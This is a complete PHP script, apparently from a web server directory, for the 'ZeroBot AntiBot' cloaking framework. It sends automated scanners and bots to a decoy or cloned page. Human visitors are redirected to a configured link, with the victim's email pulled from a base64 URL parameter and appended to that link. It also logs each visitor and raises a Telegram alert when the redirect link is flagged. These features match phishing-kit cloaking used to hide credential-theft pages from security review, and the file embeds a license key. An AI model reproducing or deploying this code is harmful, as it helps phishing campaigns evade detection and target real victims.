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JSD782H-R9H8HC-FD8YUB-C798H4R-IU23FJVHUF.php

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error_log

📄JSD782H-R9H8HC-FD8YUB-C798H4R-IU23FJVHUF.php

<?php

/*
 |---------------------------------------------------------------------------
 |  ZeroBot AntiBot Framework
 |---------------------------------------------------------------------------
 |  All rights reserved © ZeroBot Inc.
 |
 |  Platform  : https://zerobot.info
 |  Developer : @brendonurie2000
 |  Telegram  : @zerobot_official
 |
 |  Purpose:
 |     - Prevent automated scanners & bots
 |     - Create custom rules
 |     - Enhance redirect protection
 |     - Provide antibot system & captcha protection
 |
 |  Module : Custom Rules Engine
 |---------------------------------------------------------------------------
*/

$license_key = "5c4df58d2793c3863630f340afd579dd8952935f";

final class ZeroBot
{
    private string $api           = 'https://api.zerobot.info/v3/antibot';
    private string $captchaApi    = 'https://api.zerobot.info/v3/captcha';
    private string $telegramApi   = 'https://api.zerobot.info/v3/tg';
    private string $fingerprintJs = 'https://zerobot.info/fingerprint/';

private int    $connectTimeout  = 3;
    private int    $timeout         = 8;
    private int    $apiRetries      = 2;
    private int    $cacheTtlHuman   = 60;
    private int    $cacheTtlBot     = 300;
    private int    $cloakerMaxBytes = 2_000_000;
    private int    $rememberTtl     = 3600; 
    private bool   $trustProxy      = true;
    private string $buildId   = '9.4';

private string $licenseKey;
    private string $ipAddress   = '127.0.0.1';
    private string $useragent   = '';
    private string $checkOn     = '';

private string $Username    = '';
    private bool   $IsBot       = false;
    private string $Plan        = '';
    private string $Asn         = '';
    private string $CountryName = '';
    private string $CountryCode = '';
    private string $Isp         = '';
    private string $Hostname    = '';
    private string $Reason      = '';
    private string $Design      = '';
    private string $RowHtml     = '';
    private array  $Config      = [];
    private ?array $Captcha     = null;
    private string $CaptchaHtml = '';
    private int    $RiskScore   = 0;
    private string $cacheDir    = '';

public function __construct(string $licenseKey)
    {
        $this->licenseKey = trim($licenseKey);
        $this->initApp();

$this->ipAddress = $this->detectIp();
        $this->useragent = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
        $this->checkOn   = $this->getCleanUrl();

if ($this->licenseKey === '' || stripos($this->licenseKey, 'LICENSE KEY') !== false || stripos($this->licenseKey, 'LICENSE_KEY') !== false) {
            $this->errorPage('Please set your license key at the top of this file.');
        }

if (isset($_GET['delete'])) { $this->handleDelete(); }

$this->loadDecision();

if (isset($_GET['authorize'])) { $this->handleCaptchaAuthorization(); }

$this->sendTelegramNotification();
        $this->writeVisitorRow();

if ($this->IsBot) { $this->handleBot(); }
        $this->handleHuman();
    }

private function initApp(): void
    {
        if (version_compare(PHP_VERSION, '7.4', '<')) {
            die('PHP 7.4+ Required For ZeroBot Framework');
        }
        if (session_status() === PHP_SESSION_NONE) {
            @session_start();
        }
        error_reporting(0);
        @ini_set('display_errors', '0');
        @ini_set('display_startup_errors', '0');
        header('Content-type: text/html; charset=UTF-8');
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
        header('Pragma: no-cache');
        header('Expires: 0');
        header('X-ZeroBot-Build: ' . $this->buildId);

$this->cacheDir = sys_get_temp_dir() . '/zb_cache_' . substr(sha1(__FILE__), 0, 8);
        if (!is_dir($this->cacheDir)) @mkdir($this->cacheDir, 0700, true);
    }

private function detectIp(): string
    {

$candidates = [];
        if ($this->trustProxy) {
            if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) $candidates[] = $_SERVER['HTTP_CF_CONNECTING_IP'];
            if (!empty($_SERVER['HTTP_X_REAL_IP']))        $candidates[] = $_SERVER['HTTP_X_REAL_IP'];
            if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                foreach (explode(',', (string)$_SERVER['HTTP_X_FORWARDED_FOR']) as $ip) {
                    $candidates[] = trim($ip);
                }
            }
        }
        $candidates[] = $_SERVER['REMOTE_ADDR'] ?? '';

foreach ($candidates as $ip) {
            $ip = trim((string)$ip);
            if ($ip === '') continue;
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
        foreach ($candidates as $ip) {
            if (filter_var($ip, FILTER_VALIDATE_IP)) return (string)$ip;
        }
        return '127.0.0.1';
    }

private function loadDecision(): void
    {
        $cached = $this->cacheGet();
        if ($cached !== null) {
            $this->applyDecision($cached);
            return;
        }

$data = $this->callApi();
        if (!is_array($data)) {
            $this->IsBot = false;
            return;
        }

if (($data['query'] ?? '') === 'failed') {
            $this->errorPage((string)($data['reason'] ?? 'Unknown error from ZeroBot API'));
        }

$this->cacheSet($data);
        $this->applyDecision($data);
    }

private function applyDecision(array $data): void
    {
        $this->Username    = (string)($data['username'] ?? '');
        $this->CountryName = (string)($data['country_name'] ?? 'Unknown');
        $this->CountryCode = (string)($data['country_code'] ?? 'XX');
        $this->Isp         = (string)($data['isp'] ?? 'Unknown');
        $this->Hostname    = (string)($data['hostname'] ?? '');
        $this->IsBot       = !empty($data['is_bot']);
        $this->Asn         = (string)($data['asn'] ?? '');
        $this->Reason      = (string)($data['reason'] ?? '');
        $this->RiskScore   = (int)($data['risk_score'] ?? 0);
        $this->Design      = base64_decode((string)($data['design'] ?? ''));
        $this->RowHtml     = base64_decode((string)($data['row_html'] ?? ''));
        $this->Config      = is_array($data['config'] ?? null) ? $data['config'] : [];
        $this->Plan        = (string)($data['plan'] ?? '');
        $this->Captcha     = is_array($data['captcha'] ?? null) ? $data['captcha'] : null;
        $this->CaptchaHtml = !empty($data['captcha_html']) ? base64_decode((string)$data['captcha_html']) : '';

$_SESSION['zb_days_left']   = (int)($data['left'] ?? 0);
        $_SESSION['zb_plan']        = $this->Plan;
        $_SESSION['zb_fingerprint'] = !empty($this->Config['fingerprint']);
        $_SESSION['zb_views_file']  = (string)($this->Config['views_file_name'] ?? 'views.php');
        $_SESSION['zb_redirect']    = (string)($this->Config['redirect_link'] ?? '');
        $_SESSION['zb_design']      = $this->Design;

if (isset($_GET['email']) && $_GET['email'] !== '') {
            $_SESSION['zb_email'] = $this->extractEmail((string)$_GET['email']);
        }

if (!empty($this->Config['autograbber_code']) && (string)($this->Config['redirect_link'] ?? '') !== '') {
            $decodedEmail = '';
            if (!empty($_GET['email'])) {
                $decodedEmail = $this->extractEmail((string)$_GET['email']);
            } elseif (!empty($_SESSION['zb_email'])) {
                $decodedEmail = (string)$_SESSION['zb_email'];
            }
            if ($decodedEmail !== '') {
                $this->Config['redirect_link'] = (string)($this->Config['redirect_link'] ?? '') .
                                                 $this->Config['autograbber_code'] .
                                                 $decodedEmail;
                $_SESSION['zb_redirect'] = $this->Config['redirect_link'];
            }
        }
    }

private function extractEmail(string $raw): string
    {
        $raw = trim($raw);
        if ($raw === '') return '';

if (filter_var($raw, FILTER_VALIDATE_EMAIL)) {
            return $raw;
        }

$decoded = @base64_decode($raw, true);
        if ($decoded !== false && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
            return $decoded;
        }

$urlDecoded = urldecode($raw);
        if ($urlDecoded !== $raw && filter_var($urlDecoded, FILTER_VALIDATE_EMAIL)) {
            return $urlDecoded;
        }

return strpos($raw, '@') !== false ? $raw : '';
    }

private function callApi(): ?array
    {
        $params = [
            'check_on'        => $this->checkOn,
            'license'         => $this->licenseKey,
            'ip'              => $this->ipAddress,
            'useragent'       => $this->useragent,
            'visitor_headers' => $this->getVisitorHeaders(),
        ];
        $url = $this->api . '?' . http_build_query($params);

$body = null;
        for ($attempt = 0; $attempt <= $this->apiRetries; $attempt++) {
            $body = $this->curlFetch($url);
            if ($body !== null && $body !== '') break;
            usleep(150000 * ($attempt + 1));
        }
        if ($body === null || $body === '') return null;

$data = json_decode((string)$body, true);
        return is_array($data) ? $data : null;
    }

private function curlFetch(string $url, ?string $postRaw = null): ?string
    {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => $this->connectTimeout,
            CURLOPT_TIMEOUT        => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_SSL_VERIFYHOST => 2,
            CURLOPT_ENCODING       => '',
            CURLOPT_HTTPHEADER     => [
                'User-Agent: ZeroBot-Client/' . $this->buildId,
                'Accept: application/json, */*',
            ],
        ]);
        if ($postRaw !== null) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postRaw);
        }
        $body = curl_exec($ch);
        $err  = curl_errno($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($err !== 0 || $body === false || $code < 200 || $code >= 500) return null;
        return (string)$body;
    }

private function getVisitorHeaders(): string
    {
        $map = [
            'HTTP_ACCEPT'                    => 'accept',
            'HTTP_ACCEPT_LANGUAGE'           => 'accept-language',
            'HTTP_ACCEPT_ENCODING'           => 'accept-encoding',
            'HTTP_SEC_CH_UA'                 => 'sec-ch-ua',
            'HTTP_SEC_CH_UA_MOBILE'          => 'sec-ch-ua-mobile',
            'HTTP_SEC_CH_UA_PLATFORM'        => 'sec-ch-ua-platform',
            'HTTP_SEC_FETCH_DEST'            => 'sec-fetch-dest',
            'HTTP_SEC_FETCH_MODE'            => 'sec-fetch-mode',
            'HTTP_SEC_FETCH_SITE'            => 'sec-fetch-site',
            'HTTP_SEC_FETCH_USER'            => 'sec-fetch-user',
            'HTTP_REFERER'                   => 'referer',
            'HTTP_DNT'                       => 'dnt',
            'HTTP_UPGRADE_INSECURE_REQUESTS' => 'upgrade-insecure-requests',
        ];
        $out = [];
        foreach ($map as $srv => $name) {
            if (!empty($_SERVER[$srv])) $out[$name] = (string)$_SERVER[$srv];
        }
        return $out ? base64_encode(json_encode($out)) : '';
    }

private function cacheKey(): string
    {
        return $this->cacheDir . '/' .
               hash('sha256', $this->ipAddress . '|' . $this->checkOn . '|' . $this->licenseKey) . '.json';
    }

private function cacheGet(): ?array
    {
        $f = $this->cacheKey();
        if (!is_file($f)) return null;
        $raw = @file_get_contents($f);
        if ($raw === false) return null;
        $data = json_decode($raw, true);
        if (!is_array($data) || empty($data['_zb_expires'])) return null;
        if ((int)$data['_zb_expires'] < time()) { @unlink($f); return null; }
        return $data;
    }

private function cacheSet(array $data): void
    {

$cfgTtl = $data['config']['cache_ttl'] ?? null;
        $ttl = ($cfgTtl !== null)
            ? (int) $cfgTtl
            : (!empty($data['is_bot']) ? $this->cacheTtlBot : $this->cacheTtlHuman);

if ($ttl <= 0) return;

$data['_zb_expires'] = time() + $ttl;
        @file_put_contents($this->cacheKey(), json_encode($data), LOCK_EX);

if (random_int(1, 50) === 1) $this->cachePrune();
    }

private function cachePrune(): void
    {
        $files = glob($this->cacheDir . '/*.json') ?: [];
        $now = time();
        foreach ($files as $f) {
            $raw = @file_get_contents($f);
            if ($raw === false) continue;
            $d = json_decode($raw, true);
            if (!is_array($d) || empty($d['_zb_expires']) || (int)$d['_zb_expires'] < $now) {
                @unlink($f);
            }
        }
    }

private function getViewsPath(): string
    {
        $f = $this->Config['views_file_name'] ?? $_SESSION['zb_views_file'] ?? 'views.php';
        if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) !== 'php') $f .= '.php';
        return __DIR__ . '/' . basename($f);
    }

private function writeVisitorRow(): void
    {
        $path = $this->getViewsPath();
        $viewsFile = basename($path);
        $resetHref = basename(__FILE__) . '?delete=' . urlencode($viewsFile);

if (!file_exists($path) && $this->Design !== '') {
            $design = str_replace(
                ['href="https://speakeasymarkefvttinginc.vu" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="https://speakeasymarkefvttinginc.vu"'],
                ['href="' . $resetHref . '" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="' . $resetHref . '"'],
                $this->Design
            );
            @file_put_contents($path, $design, LOCK_EX);
        }

if (!file_exists($path) || $this->RowHtml === '') return;

$contents = @file_get_contents($path);
        if ($contents === false) return;

$changed = false;
        if (strpos($contents, 'href="https://speakeasymarkefvttinginc.vu" id="resetTrafficBtn"') !== false) {
            $contents = str_replace(
                ['href="https://speakeasymarkefvttinginc.vu" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="https://speakeasymarkefvttinginc.vu"'],
                ['href="' . $resetHref . '" id="resetTrafficBtn"', 'id="resetTrafficBtn" href="' . $resetHref . '"'],
                $contents
            );
            $changed = true;
        }
        if (strpos($contents, $this->ipAddress) === false) {
            $contents .= $this->RowHtml . "\n";
            $changed = true;
        }
        if ($changed) {
            @file_put_contents($path, $contents, LOCK_EX);
        }
    }

private function handleDelete(): void
    {
        $f = $_GET['delete'] ?? $_SESSION['zb_views_file'] ?? 'views.php';
        if ($f === '' || $f === '1') $f = $_SESSION['zb_views_file'] ?? 'views.php';
        if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) !== 'php') $f .= '.php';
        $viewsFile = basename($f);
        $path = __DIR__ . '/' . $viewsFile;

if (file_exists($path)) {
            $contents = @file_get_contents($path);
            if ($contents !== false) {
                $marker = '<tbody id="dataTable">';
                $pos = strpos($contents, $marker);
                if ($pos !== false) {
                    @file_put_contents($path, substr($contents, 0, $pos + strlen($marker)) . "\n", LOCK_EX);
                }
            }
        }
        header('Location: ' . $viewsFile);
        exit;
    }

private function handleCaptchaAuthorization(): void
    {
        $token    = (string)($_GET['authorize'] ?? '');
        $expected = $this->generateHmac($this->ipAddress);

$issued   = (string)($_SESSION[$this->challengeKey()] ?? '');

$valid = hash_equals($expected, $token)
              || ($issued !== '' && hash_equals($issued, $token));

if (!$valid) {
            $clean = strtok((string)($_SERVER['REQUEST_URI'] ?? '/'), '?');
            header('Location: ' . $clean);
            exit;
        }

$this->curlFetch($this->captchaApi . '?' . http_build_query([
            'license'   => $this->licenseKey,
            'ip'        => $this->ipAddress,
            'useragent' => $this->useragent,
        ]));

@unlink($this->cacheKey());

$this->rememberVisitor();

$redirect = (string)($this->Config['redirect_link'] ?? $_SESSION['zb_redirect'] ?? '');

if ($redirect === '') {
            header('Location: ' . $this->getCleanUrl());
            exit;
        }

if (!empty($this->Config['fingerprint'])) {
            $this->renderFingerprintScript($redirect);
        } else {
            header('Location: ' . $redirect);
        }
        exit;
    }

private function showCaptchaPage(): void
    {
        if ($this->CaptchaHtml === '') return;
        echo $this->CaptchaHtml;
        exit;
    }

private function generateHmac(string $data): string
    {
        $secret = (string)($this->Config['captcha_key'] ?? $this->licenseKey);
        return hash_hmac('sha256', $data . $this->licenseKey, $secret);
    }

private function rememberCookieName(): string
    {
        return 'zb_ok_' . substr(sha1($this->checkOn . '|' . $this->licenseKey), 0, 10);
    }

private function rememberVisitor(): void
    {
        $token  = $this->generateHmac($this->ipAddress);
        $name   = $this->rememberCookieName();
        $secure = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
            || (($_SERVER['SERVER_PORT'] ?? '') === '443');
        @setcookie($name, $token, [
            'expires'  => time() + $this->rememberTtl,
            'path'     => '/',
            'httponly' => true,
            'secure'   => $secure,
            'samesite' => 'Lax',
        ]);
        $_SESSION[$name] = $token;
    }

private function isRemembered(): bool
    {
        $expected = $this->generateHmac($this->ipAddress);
        $name     = $this->rememberCookieName();
        $cookie   = (string)($_COOKIE[$name] ?? '');
        if ($cookie !== '' && hash_equals($expected, $cookie)) return true;
        $sess = (string)($_SESSION[$name] ?? '');
        return $sess !== '' && hash_equals($expected, $sess);
    }

private function challengeKey(): string
    {
        return 'zb_chal_' . substr(sha1($this->checkOn . '|' . $this->licenseKey), 0, 10);
    }

private function markChallengeIssued(): void
    {
        $_SESSION[$this->challengeKey()] = $this->generateHmac($this->ipAddress);
    }

private function handleBot(): void
    {
        $cloakerUrl = (string)($this->Config['cloaker_url'] ?? '');
        if (filter_var($cloakerUrl, FILTER_VALIDATE_URL)) {
            $this->showCloakedPage($cloakerUrl);
            exit;
        }
        $botRedirect = (string)($this->Config['location_bots'] ?? '');
        if ($botRedirect !== '') {
            header('Location: ' . $botRedirect);
            exit;
        }

http_response_code(403);
        exit;
    }

private function handleHuman(): void
    {
        $dest = (string)($this->Config['redirect_link'] ?? '');

$skipChallenge = !empty($this->Config['trusted']) || $this->isRemembered();

if ($dest === '') {

if (!$skipChallenge) {
                $this->markChallengeIssued();
                $this->showCaptchaPage(); 
                if (!empty($this->Config['fingerprint'])) {
                    $this->renderFingerprintScript($this->checkOn);
                    exit;
                }
            }
            return; 
        }

if ($skipChallenge) {
            header('Location: ' . $dest);
            exit;
        }

$this->markChallengeIssued();
        $this->showCaptchaPage();

if (!empty($this->Config['fingerprint'])) {
            $this->renderFingerprintScript($dest);
            exit;
        }

header('Location: ' . $dest);
        exit;
    }

private function renderFingerprintScript(string $dest): void
    {
        $safeIp   = htmlspecialchars($this->ipAddress, ENT_QUOTES, 'UTF-8');
        $safeDest = htmlspecialchars($dest, ENT_QUOTES, 'UTF-8');
        $safeCh   = htmlspecialchars((string)($this->Config['fp_challenge'] ?? ''), ENT_QUOTES, 'UTF-8');
        echo '<script src="' . htmlspecialchars($this->fingerprintJs, ENT_QUOTES, 'UTF-8') .
             '" data-ip="' . $safeIp .
             '" data-redirect="' . $safeDest .
             '" data-challenge="' . $safeCh . '"></script>';
    }

private function showCloakedPage(string $url): void
    {
        $url = rtrim($url, '/') . '/';
        $ch  = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => $this->connectTimeout,
            CURLOPT_TIMEOUT        => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_SSL_VERIFYHOST => 2,
            CURLOPT_MAXREDIRS      => 5,
            CURLOPT_HTTPHEADER     => ['User-Agent: Mozilla/5.0 ZeroBot-Cloaker/' . $this->buildId],
        ]);
        $html = curl_exec($ch);
        $err  = curl_errno($ch);
        curl_close($ch);

if ($err !== 0 || $html === false || $html === '' || strlen((string)$html) > $this->cloakerMaxBytes) {
            $fallback = (string)($this->Config['location_bots'] ?? '');
            if ($fallback !== '') header('Location: ' . $fallback);
            exit;
        }

$doc = new DOMDocument();
        libxml_use_internal_errors(true);
        @$doc->loadHTML((string)$html);
        libxml_clear_errors();
        $xpath = new DOMXPath($doc);
        $rewrites = [
            "//link[@rel='stylesheet']"      => 'href',
            "//script[contains(@src,'.js')]" => 'src',
            "//img"                          => 'src',
            "//a"                            => 'href',
            "//form"                         => 'action',
            "//link[@rel='icon']"            => 'href',
        ];
        foreach ($rewrites as $q => $a) {
            foreach ($xpath->query($q) as $el) {
                if (!$el->hasAttribute($a)) continue;
                $old = (string)$el->getAttribute($a);
                if ($old === '' || str_starts_with($old, 'http') || str_starts_with($old, 'data:')) continue;
                if (str_starts_with($old, '//')) {
                    $el->setAttribute($a, (str_contains($url, 'https') ? 'https:' : 'http:') . $old);
                } else {
                    $el->setAttribute($a, $url . ltrim($old, './'));
                }
            }
        }
        echo $doc->saveHTML();
        exit;
    }

private function sendTelegramNotification(): void
    {
        if (empty($this->Config['link_flagged'])) return;
        $token  = (string)($this->Config['telegram_token']  ?? '');
        $chatId = (string)($this->Config['telegram_chatid'] ?? '');
        if (strlen($token) <= 10 || strlen($chatId) <= 5) return;

$chars = ['_','*','[',']','(',')','>','#','+','-','=','|','{','}','.','!','~','`'];
        $escFn = static function (string $t) use ($chars): string {
            return str_replace($chars, array_map(static fn($c) => '\\' . $c, $chars), $t);
        };
        $msg = "\u{1F6A8} *Redirect Link Down*\n```txt\n\u{1F517} " . $escFn($this->checkOn) .
               "\n\u{1F5D3} " . $escFn(date('d/m/Y h:i:s A')) . "\n```\n";
        $this->curlFetch($this->telegramApi . '?' . http_build_query([
            'license'    => $this->licenseKey,
            'rule_id'    => (int)($this->Config['rule_id'] ?? 0),
            'chatid'     => $chatId,
            'token'      => $token,
            'parse_mode' => 'MarkdownV2',
            'message'    => $msg,
        ]));
    }

private function getCleanUrl(): string
    {
        $https = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
        if ($this->trustProxy && !empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
            $https = strtolower((string)$_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https';
        }
        $proto = $https ? 'https' : 'http';
        $host  = (string)($_SERVER['HTTP_HOST'] ?? 'localhost');
        $uri   = (string)($_SERVER['REQUEST_URI'] ?? '/');
        $url   = $proto . '://' . $host . $uri;

$p = parse_url($url);
        if (!empty($p['query'])) {
            parse_str($p['query'], $qp);
            unset($qp['authorize'], $qp['delete'], $qp['email']);
            $q = http_build_query($qp);
            $url = ($p['scheme'] ?? 'https') . '://' . ($p['host'] ?? '') .
                   ($p['path'] ?? '') . ($q !== '' ? '?' . $q : '');
        }
        return $url;
    }

private function errorPage(string $msg): void
    {
        $s = htmlspecialchars($msg, ENT_QUOTES, 'UTF-8');
        http_response_code(500);
        echo "<!DOCTYPE html><html><head><meta charset=UTF-8><title>ZeroBot Error</title>"
           . "<link href='https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap' rel='stylesheet'>"
           . "<style>body{font-family:Poppins,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;background:#f1f1f6}"
           . ".card{background:#fff;border:1px solid #e8e8ef;border-left:4px solid #b5264a;border-radius:14px;padding:40px;max-width:480px;text-align:center}"
           . "h1{color:#b5264a;font-size:1.4em;margin:0 0 12px}p{color:#6c757d;margin:0}</style></head>"
           . "<body><div class='card'><h1>ZeroBot Error</h1><p>{$s}</p></div></body></html>";
        exit;
    }
}

new ZeroBot($license_key);